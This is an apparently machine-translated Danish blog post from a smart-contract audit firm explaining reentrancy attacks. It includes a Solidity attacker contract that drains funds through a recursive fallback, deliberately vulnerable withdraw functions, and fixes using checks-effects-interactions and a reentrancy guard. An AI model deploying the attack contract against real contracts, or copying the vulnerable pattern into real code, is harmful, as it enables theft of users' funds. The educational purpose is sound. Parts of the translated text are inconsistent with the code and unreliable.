Læsetid: 6 minutter
Hvis vi ser nærmere på de største krypto-hacks og de iøjnefaldende tal, der er gået tabt for dem, ville de være dybt rodfæstet fra kodningsfejlene.
En sådan almindelig forekomst af sikkerhedssårbarhed er Reentrancy-angrebet. Men den destruktive effekt forårsaget på grund af mishandlet genindtræden lyder måske ikke så simpelt som at starte selve angrebet.
På trods af at det er et velkendt og velkendt problem, er forekomsten af Reentrancy-fejlen i smarte kontrakter altid uundgåelig.
Hvor ofte var Reentrancy-sårbarheden blevet udnyttet af hackere i de seneste år? Hvordan virker det? Hvordan forhindrer man smarte kontrakter i at miste midler til Reentrancy-fejl? Find svar på disse spørgsmål i denne blog.
Så inden længe, lad os friske op på de største re-entrance-angreb i hukommelsen.
Nogle af de mest berygtede reentrancy-hacks i realtid
Reentrancy-angreb, der forårsagede de mest ødelæggende virkninger på projekterne, endte med at udføre en af disse to eller endda begge.
- Dræn Etheren fuldstændigt fra de smarte kontrakter
- Hackere, der sniger sig ind i den smarte kontraktkode
Vi kan nu observere nogle få tilfælde af reentrancy-angreb og deres virkning.
Juni 2016: DAO angreb – 3.54 mio. eller $150 mio. ether
april 2020: Uniswap/Lendf.Me hack – $25M
Maj 2021: BurgerSwap-hacket – $7.2 mio
2021. august: CREAM FINANCE hack – $18.8 mio
marts 2022: Ola Finance – $3.6 mio
juli 2022: OMNI-protokol – $1.43 mio
Det er krystalklart, at Reentrancy-angreb aldrig er gået af mode. Lad os få dyb indsigt i det i de følgende passager.
Oversigt over Reentrancy-angreb
Som fra navnet "Reentrancy", som indebærer "Reentering igen og igen." Reentrancy-angreb involverer to kontrakter: Offerkontrakten og Angriberkontrakten.
Angriberkontrakten udnytter sårbarheden for genindtræden i offerkontrakten. Den bruger tilbagetrækningsfunktionen for at opnå det.
Angriberkontrakten kalder tilbagetrækningsfunktionen for at dræne midlerne fra offerkontrakten ved at foretage gentagne opkald, før saldoen i offerkontrakten opdateres. Offerkontrakten vil kontrollere saldoen, sende midler og opdatere saldoen.
Men inden for tidsrammen for at sende midlerne og opdatere saldoen i kontrakten, foretager angriberkontrakten den kontinuerlige opfordring til at hæve midler. Som et resultat opdateres saldoen ikke i offerkontrakten, før angriberkontrakten dræner alle midlerne.
Sværhedsgraden og omkostningerne ved genindtrædende udnyttelse alarmerer det alvorlige behov for at præstere smart kontraktrevision at udelukke muligheden for at overse sådanne fejl.
Illustrativ visning af Reentrancy Attack
Lad os gennemskue begrebet genindtræden angreb fra den forenklede illustration nedenfor.
Her er to kontrakter: Den sårbare kontrakt og Hacker-kontrakten
Hackerkontrakten opfordrer til at trække sig fra den sårbare kontrakt. Ved modtagelse af opkaldet tjekker den sårbare kontrakt for midlerne i hackerkontrakten og overfører derefter midlerne til hackeren.
Hackeren modtager midlerne og implementerer fallback-funktionen, som kalder igen ind i den sårbare kontrakt, allerede inden saldoen er opdateret i den sårbare kontrakt. Ved at gentage den samme operation trækker hackeren midlerne fuldstændigt fra den sårbare kontrakt.
Funktioner af Fallback-funktion, der bruges af angriber
- De kan opkaldes eksternt. Dvs. de kan ikke kaldes inde fra den kontrakt, de er skrevet
- Unavngiven funktion
- Fallback-funktionen inkluderer ikke vilkårlig logik inde i den
- Fallback udløses, når ETH sendes til dens medfølgende smarte kontrakt, og ingen receive() funktion erklæres.
Analyse af reentrancy-angreb fra et teknisk synspunkt
Lad os tage en prøvekontrakt og forstå, hvordan genindtræden angrebet opstår.
Ondsindet kontrakt
contract Attack {
DepositFunds public depositFunds;
constructor(address _depositFundsAddress) {
depositFunds = DepositFunds(_depositFundsAddress);
}
// Fallback is called when DepositFunds sends Ether to this contract.
fallback() external payable {
if (address(depositFunds).balance >= 1 ether) {
depositFunds.withdraw();
}
}
function attack() external payable {
require(msg.value >= 1 ether);
depositFunds.deposit{value: 1 ether}();
depositFunds.withdraw();
}
}
Dette er angriberkontrakten, hvori angriberen indsætter 2ETH. Angriberen kalder tilbagetrækningsfunktionen i den sårbare kontrakt. Når midlerne er modtaget fra den sårbare kontrakt, udløses reservefunktionen.
Fallback udfører derefter tilbagetrækningsfunktionen og dræner fonden fra den sårbare kontrakt. Denne cyklus fortsætter, indtil midlerne er fuldstændig opbrugt fra den sårbare kontrakt.
Sårbar kontrakt
contract DepositFunds {
mapping(address => uint) public balances;
function deposit() public payable {
balances[msg.sender] += msg.value;
}
function withdraw() public {
uint bal = balances[msg.sender];
require(bal > 0);
(bool sent, ) = msg.sender.call{value: bal}("");
require(sent, "Failed to send Ether");
balances[msg.sender] = 0;
}
}
Den sårbare kontrakt har 30ETH. Heri sender funktionen withdraw() det anmodede beløb til angriberen. Da saldoen ikke opdateres, overføres tokens til angriberen gentagne gange.
Typer af reentrancy-angreb
- Enkeltfunktions genindgang
function withdraw() external {
uint256 amount = balances[msg.sender];
require(msg.sender.call.value(amount)());
balances[msg.sender] = 0;
}
msg.sender.call.value(amount)() overfører midlerne, hvorefter hackerkontraktens fallback-funktion kalder withdraw()igen før saldi[msg.sender] = 0 opdateres.
- Reentrancy på tværs af funktioner
function transfer(address to, uint amount) external {
if (balances[msg.sender] >= amount) {
balances[to] += amount;
balances[msg.sender] -= amount;
}
}
function withdraw() external {
uint256 amount = balances[msg.sender];
require(msg.sender.call.value(amount)());
balances[msg.sender] = 0;
}
Genindtræden på tværs af funktioner er langt mere kompleks at identificere. Forskellen her er, at fallback-funktionen kalder overførsel, i modsætning til i single-function reentrancy, hvor den kalder tilbagekald.
Forebyggelse mod tilbagevendende angreb
Kontrol-effekter-interaktionsmønster: Checks-effects-interactions mønster hjælper med at strukturere funktionerne.
Programmet skal være kodet på en måde, der kontrollerer betingelserne først. Når kontrollerne er bestået, bør virkningerne for kontrakternes tilstand afklares, hvorefter de eksterne funktioner kan kaldes.
function withdraw() external {
uint256 amount = balances[msg.sender];
balances[msg.sender] = 0;
require(msg.sender.call.value(amount)());
}
Den omskrevne kode her følger checks-effects-interactions-mønsteret. Her bliver saldoen nulstillet, før der foretages et eksternt opkald.
Brug af modifikator
Modifikatoren noReentrant anvendt på funktionen sikrer, at der ikke er nogen reentrant-kald.
contract ReEntrancyGuard {
bool internal locked;
modifier noReentrant() {
require(!locked, "No re-entrancy");
locked = true;
_;
locked = false;
}
}
I sidste ende
Det mest effektive trin er at tage smarte kontraktrevisioner op fra et førende sikkerhedsfirma som QuillAudits, hvor revisorerne holder nøje øje med kodens struktur og tjekker, hvordan fallback-funktionen fungerer. På baggrund af de undersøgte mønstre gives der anbefalinger til omstrukturering af koden, hvis der synes at være nogen sårbar adfærd.
Sikkerheden af midler er sikret lige før, man bliver offer for tab.
Ofte Stillede Spørgsmål
Hvad er et reentrancy-angreb?
Et reentrancy-angreb sker, når en funktion i den sårbare kontrakt foretager et opkald til en upålidelig kontrakt. Den upålidelige kontrakt vil være angriberens kontrakt, der foretager rekursive opkald til den sårbare kontrakt, indtil midlerne er helt drænet.
Hvad er en reentrant?
Genindtastning betyder at afbryde eksekveringen af koden og starte processen forfra, hvilket også er kendt som genindtastning.
Hvad er en genindgangsvagt?
Reentrancy guard bruger en modifikator, som forhindrer funktionen i at blive kaldt gentagne gange. Læs bloggen ovenfor for at finde eksemplet for genindtræden vagt.
Hvad er nogle af angrebene på smarte kontrakter?
Smarte kontrakter er udsat for adskillige sårbarheder, såsom genindtræden, tidsstempelafhængighed, aritmetiske overløb, DoS-angreb og så videre. Derfor er revision et must for at sikre, at der ikke er nogen fejl, der kollapser kontraktens logik.
69 Views
- Bitcoin
- blockchain
- Blockchain og smart kontraktsikkerhed
- overholdelse af blockchain
- blockchain konference
- coinbase
- coingenius
- Konsensus
- kryptokonference
- krypto minedrift
- cryptocurrency
- decentral
- Defi
- Digitale aktiver
- ethereum
- machine learning
- ikke fungibelt symbol
- plato
- platon ai
- Platon Data Intelligence
- Platonblockchain
- PlatoData
- platogaming
- Polygon
- bevis for indsatsen
- Quillhash
- Smart kontrakt sikkerhed
- Smarte kontrakter
- trend
- W3
- zephyrnet